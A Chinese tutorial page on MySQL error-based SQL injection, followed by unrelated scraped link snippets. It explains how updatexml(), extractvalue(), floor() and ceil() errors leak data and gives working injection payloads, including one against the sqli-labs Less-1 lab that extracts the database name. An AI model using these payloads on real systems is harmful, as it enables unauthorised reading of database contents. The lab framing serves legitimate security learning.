当前位置: 首页 > news >正文

SQL Injection | SQL 注入 —— 报错盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:报错盲注 —— 理论篇

报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 deleteinsertupdate

报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。

0x0101:MySQL 报错盲注 — 相关函数

1. updatexml() — xpath 报错注入

1.1 updatexml() 函数简介

MySQL 中的 updatexml() 函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:

 -- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)​-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml    : 将替换 xpath_expr 指定的现有内容的新 XML 内容

以下是该函数的一个正确的使用示例:

 -- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');

1.2 updatexml() 报错原理

使用 updatexml() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');

1.3 updatexml() 报错实例

以下是一个使用 updatexml() 函数进行报错注入的攻击实例:

 select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);

2. extractvalue() — xpath 报错注入

2.1 extractvalue() 函数简介

MySQL 中的 extractvalue() 函数用于从目标 XML 文档中提取和查询指定部分的文档:

 -- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)​-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr   : 指定要提取的节点的 xpath 表达式

以下是该函数的一个正确的使用示例:

 -- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');

2.2 extractvalue() 报错原理

使用 extractvalue() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');

2.3 extractvalue() 报错实例

以下是一个使用 extractvalue() 函数进行报错注入的攻击示例:

 insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);

3. floor() - 虚表主键重复报错

3.1 floor() 函数简介

MySQL 中的 floor() 函数用户返回小于或等于指定数值的最大整数:

-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select floor(4.7);

3.2 floor() 报错原理

floor() 报错注入的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。

关联函数

  • rand() / rand(N):产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。

  • count(*):返回表的记录数(行数)

  • concat():将多个字符串连接成一个字符串

  • group_by:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。

  • ceil():向上取整

3.2.1 floor() 报错需要满足的条件
  • floor() 报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。

  • floor() 报错注入中查询用到的数据表内的数据必须 >=3 条。

  • 以下函数未被 WAF 过滤:count(*)、floor() 或 ceil()、rand()、group by

3.2.2 floor() 报错原理 - 前置知识

在介绍 floor() 报错原理之前,我们先来了解一下 MySQL 中的 count() 函数与 group by 结合使用时的工作流程。

首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:

-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);

接下来,输入下面的语句,来看一下 count(*)group by 联合使用的结果:

mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname  | count(*) |
+--------+----------+
| admin  |        2 |
| admin1 |        1 |
| admin2 |        1 |
+--------+----------+
3 rows in set (0.00 sec)

让我们来分析一下,产生此结果的流程(这对后续理解 floor() 报错注入很重要)。

count(*)group by 碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:

首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname,key 就是分组字段,也就是 uname),此时的虚表长这样:

keycount(*)

接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 unameusers 数据表中第一个 uname 值为 admin,虚表中的 key 中不存在 admin,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:

keycount(*)
admin1

然后 MySQL 会继续查看 users 数据表的下一个 uname 值,如果该值在虚拟表的 key 中没有,则继续将该值添加进虚拟表中,并设置其 count(*) 值为 1:

keycount(*)
admin1
admin11

以此类推,直到碰到下一个 uname 的值为 admin 前,虚拟表中的数据如下:

keycount(*)
admin1
admin11
admin21

如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*) 进行加 1 的操作。比如,此时在 users 数据表中又遇到了 uname 值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:

keycount(*)
admin1 + 1
admin11
admin21

流程还是很简单的,下面我们开始真正进入 floor() 报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!

3.2.3 group by floor(rand(0) * 2) 报错原理

该语句报错的主要原因如下:

  1. group by 产生的虚表中,主键不能重复。

  2. rand(0) 函数执行的比 group by 插入虚拟表的速度要快。

  3. floor(rand(0) * 2) 结果是存在规律的,规律为:0110110011....,主要是前五个。

MySQL 官方提示:查询的时候使用 rand(),该值会被计算多次!

这里的计算多次,在 floor() 报错中的理解如下:

在使用 group by 时,floor(rand(0) * 2) 会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。

为了便于理解,我们先举一个特殊的例子:

-- 01. 随便选择一个数据库,创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
|                  0 | admin  | 0Look Me                              |
|                  1 | admin1 | 1Look Me                              |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me                              |        2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)

上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me") 查询出来的结果依次是:0Look Me1Look Me,所以按照道理,在计数时,最终展示的表格内容应该如下:

xcount(*)
0Look Me1
1Look Me1

但事实却是,1Look Me 被计数了两次。接下来,我们来理理为什么会出现这种结果。

先来看看下面这条语句的执行结果:

mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me                              |
| 1Look Me                              |
+---------------------------------------+
2 rows in set (0.00 sec)

当我们为其增加 count(*)group by 后 MySQL 的运算过程如下:

首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me") 是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me") 简记为 Key,方便讲解):

concat(floor(rand(0) * 2), "Look Me")count(*)

floor(rand(0) * 2) 结果序列:0110110011....

接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me"),得到结果为 0LookMe。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me") 在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe,此时虚表中实际的内容为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1

接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me"),得到结果为 1LookMe,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand() 多次计算的 BUG),所以此时虚表展示的最终结果为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1+1

这就是为什么最终我们看到的,和实际我们想象的不一样的原因。

接下来,我们往测试表中再次插入一条数据,触发 floor() 报错:

insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin  | 0Look Me                              |
| admin1 | 1Look Me                              |
| admin2 | 1Look Me                              |
+--------+---------------------------------------+
3 rows in set (0.00 sec)

继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me") 的值为 0Look Me,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me"),导致实际插入的结果为 1Look Me,此时的虚表变成了:

xconcat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me2
1Look Me?

可以看到,MySQL 认为自己插入的是 0Look Me,但是由于 Bug,导致实际插入的是 1Look Me,而 1Look Me 在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:

select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");

3.3 floor() 报错实例

以下是一个使用 floor() 函数进行报错注入的攻击示例:

select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;

4. ceil() - 虚表主键重复报错

4.1 ceil() 函数简介

MySQL 中的 ceil() 函数用于返回大于或等于指定数值的最小整数:

-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select ceil(4.1);

4.2 ceil() 报错原理

ceil() 报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。

4.3 ceil() 报错实例

以下是一个使用 ceil() 函数进行报错注入的攻击实例:

select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;

0x02:报错盲注 —— 实战篇

本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)

0x0201:第一阶段 — 判断注入点

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:

测试 Payload 01: ?id=1  # 结果: Your Login name:Dumb      Your Password:Dumb
测试 Payload 02: ?id=2  # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错

可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。

0x0202:第二阶段 — 报错盲注漏洞利用

既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based 就可以看出,本关的考点是报错注入),攻击 Payload 如下:

-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。

相关文章:

SQL Injection | SQL 注入 —— 报错盲注

关注这个漏洞的其他相关笔记&#xff1a;SQL 注入漏洞 - 学习手册-CSDN博客 0x01&#xff1a;报错盲注 —— 理论篇 报错盲注&#xff08;Error-Based Blind SQL Injection&#xff09;是一种常见的 SQL 注入技术&#xff0c;适用于那些页面不会直接显示后端处理结果的查询方式…...

网络通信与并发编程(四)操作系统、进程理论、开启进程的两种方式

多道技术、进程理论 文章目录 多道技术、进程理论一、操作系统1.1操作系统1.2操作系统中的常见概念1.3操作系统的发展史 二、进程理论2.1同步、异步、阻塞、非阻塞2.2 进程的层次结构2.3 运行态、阻塞态、就绪态 三、开启进程的两种方式3.1使用Process创建进程的两种方式3.2 父…...

Java--集合(三)之vectorlinkedlisthashset结构

文章目录 0.架构图1.vector解析2.LinkedList分析2.1源码分析2.2迭代器遍历的三种方式 3.set接口的使用方法3.1基本使用说明3.2基本遍历方式3.3HashSet引入3.4数组链表模拟3.5hashset扩容机制3.6hashset源码解读3.7扩容*转成红黑树机制**我的理解 0.架构图 1.vector解析 和之前介…...

upload-labs Pass-04

upload-labs Pass-04 在进行测试前&#xff0c;先了解一下.htaccess文件 .htaccess文件 .htaccess是Apache网络服务器一个配置文件&#xff0c;当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中&#xff0c;.htaccess文件会被Apache Web服务器软件检测并执行&…...

如何修改jupyter notebook的工作目录

1.生成配置文件&#xff1a; 打开Anaconda Prompt&#xff0c;输入如下命令 jupyter notebook --generate-config 用代码可以找到配置文件位置&#xff0c;如果没有填y可以生成。 2.修改配置文件&#xff1a; 修改jupyter_notebook_config.py的配置文件&#xff0c;需将c.Not…...

23种设计模式具体实现方法

提示&#xff1a;文章 文章目录 前言一、背景二、设计模式1、代理模式2、适配器模式2.1 总结 三、3.1 总结 前言 前期疑问&#xff1a; 本文目标&#xff1a; 一、背景 最近 二、设计模式 1、代理模式 参考的这篇文章&#xff0c;代理模式(Proxy) 同时这篇文章还引用了另…...

cisco网络安全技术第3章测试及考试

测试 使用本地数据库保护设备访问&#xff08;通过使用 AAA 中央服务器来解决&#xff09;有什么缺点&#xff1f; 试题 1选择一项&#xff1a; 必须在每个设备上本地配置用户帐户&#xff0c;是一种不可扩展的身份验证解决方案。 请参见图示。AAA 状态消息的哪一部分可帮助…...

数据结构练习题5(链表和栈)

1环形链表 II 给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测…...

计算机网络408真题解析(湖科大教书匠)

09年...

uniapp+vue3+uview-plus修改默认样式

最近使用uniappvue3uview-plus开发微信小程序中&#xff0c;使用uview-plus自定义底部导航栏tabbar时&#xff0c;遇到修改默认样式不生效问题 使用传统的 ::v-deep、:deep、::v-deep&#xff0c;或者style标签中去掉scoped也是无效的&#xff0c;有好的方案欢迎交流&#xff…...

数控机械制造工厂ERP适用范围有哪些

在当今制造业高速发展的背景下&#xff0c;企业资源计划(ERP)系统已成为提升工厂管理效率、实现生产自动化与信息化的关键工具。特别是对于数控机械制造工厂而言&#xff0c;一个合适的ERP系统能够帮助其优化生产流程、提高产品质量、降低生产成本并增强市场竞争力。 1. 生产计…...

华为配置 之 Console线路配置

目录 简介&#xff1a; 知识点&#xff1a; 配置Console线路密码 1.密码认证模式 2.AAA认证模式 知识点&#xff1a; 总结&#xff1a; 简介&#xff1a; 使用PC模拟器与路由器相连&#xff08;与交换机相连原理一样&#xff09;&#xff0c;在关机状态下&#xff0c;使用…...

小米等手机彻底关闭快应用

文章目录 快应用的是非最终措施&#xff1a;撤销快应用隐私协议配套措施&#xff1a;安卓去除开屏广告 无用的操作&#xff1a;载快应用小米手机无用&#xff0c;其他手机可以尝试的操作关闭唤起快应用服务打开防止误触、后台启动其他应用 其他措施&#xff1a;冻结、加密快应用…...

【每日一题】24.10.14 - 24.10.20

10.14 直角三角形1. 题目2. 解题思路3. 代码实现&#xff08;AC_Code&#xff09; 10.15 回文判定1. 题目2. 解题思路3. 代码实现&#xff08;AC_Code&#xff09; 10.16 二次方程1. 题目2. 解题思路3. 代码实现&#xff08;AC_Code&#xff09; 10.17 互质1. 题目2. 解题思路3…...

CMake与Qt4/Qt5的结合使用指南

CMake与Qt4/Qt5的结合使用指南 一、同时使用Qt 4和Qt 5二、Qt构建工具2.1 AUTOMOC2.2 AUTOUIC2.3 AUTORCC 三、<ORIGIN>_autogen目标四、Visual Studio生成器五、Windows上的qtmain.lib六、其他文章推荐 在CMake中&#xff0c;您可以方便地找到并使用Qt 4和Qt 5库。Qt 4库…...

TwinCAT3添加PLC轴,并建立PLC轴与NC轴的链接

右键PLC选项&#xff0c;点击创建新项 在弹出的对话框中&#xff0c;选择PLC Templates&#xff0c;然后选择Standard PLC Project&#xff0c;填写项目名称后点击添加 在PLC项目目录中右键GVLs&#xff0c;选择Add&#xff0c;添加Global Variable List&#xff08;全局变…...

Linux操作系统如何制作U盘启动盘

在麒麟系统中有一款U盘启动器软件&#xff0c;它是用于制作系统启动U盘的工具&#xff0c;方便无光驱的电脑安装操作系统&#xff0c;也可以反复使用一个U盘&#xff0c;避免光盘的浪费。下面对该U盘启动器使用方法做详细讲解。 1.准备需要安装的系统镜像文件。 图 1 2.准备1…...

如何防止SpringBoot中的jar反编译?解决相关报错及踩到的坑

目录 1. 面对的场景 2. 方案 2.1 使用代码混淆 2.2 JAR包加密 3. 项目操作 4. 启动方式 5. 踩到的各种坑 5.1 java -jar xxx-0.0.1-SNAPSHOT.jar 没有主清单属性 5.2 Caused by: java.lang.IllegalArgumentException: Unrecognized option: -pwdfxw-jar 1. 面对的场景…...

Axios 基本使用

Axios 是一个异步请求技术,核心作用就是用来在页面中发送异步请求,并获取对应数据在页面中渲染 页面局部更新技术 Ajax 中文网站:https://www.kancloud.cn/yunye/axios/234845 安装: <script src"https://unpkg.com/axios/dist/axios.min.js"></script&g…...

前端大佬都在用的actionDelegationMiddleware究竟有多香?

作为一个前端开发者,我深知跨组件通信的痛点。今天,我要和大家分享一个让我眼前一亮的工具 - alovajs 的 actionDelegationMiddleware。这个中间件简直就是跨组件通信的得力助手!它让我们可以在任意组件中触发其他组件的请求操作,解决了很多麻烦。用了它之后,我感觉整个项目的架…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

QMC5883L的驱动

简介 本篇文章的代码已经上传到了github上面&#xff0c;开源代码 作为一个电子罗盘模块&#xff0c;我们可以通过I2C从中获取偏航角yaw&#xff0c;相对于六轴陀螺仪的yaw&#xff0c;qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文&#xff1f; 多租户隔离&#xff1a;自动为接入设备追加租户前缀&#xff0c;后端按 ClientID 拆分队列。零代码鉴权&#xff1a;将入站用户名替换为 OAuth Access-Token&#xff0c;后端 Broker 统一校验。灰度发布&#xff1a;根据 IP/地理位写…...

江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命

在华东塑料包装行业面临限塑令深度调整的背景下&#xff0c;江苏艾立泰以一场跨国资源接力的创新实践&#xff0c;重新定义了绿色供应链的边界。 跨国回收网络&#xff1a;废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点&#xff0c;将海外废弃包装箱通过标准…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南

&#x1f680; C extern 关键字深度解析&#xff1a;跨文件编程的终极指南 &#x1f4c5; 更新时间&#xff1a;2025年6月5日 &#x1f3f7;️ 标签&#xff1a;C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言&#x1f525;一、extern 是什么&#xff1f;&…...

使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度

文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...

Linux 中如何提取压缩文件 ?

Linux 是一种流行的开源操作系统&#xff0c;它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间&#xff0c;使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的&#xff0c;要在 …...

GitHub 趋势日报 (2025年06月06日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 590 cognee 551 onlook 399 project-based-learning 348 build-your-own-x 320 ne…...